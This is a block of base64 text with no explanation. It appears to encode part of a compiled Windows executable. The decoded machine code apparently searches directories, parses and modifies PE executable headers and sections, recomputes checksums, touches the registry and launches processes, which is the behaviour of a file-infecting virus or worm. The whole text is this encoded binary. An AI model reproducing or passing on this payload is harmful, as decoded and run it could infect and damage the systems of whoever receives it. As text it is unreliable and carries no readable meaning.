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 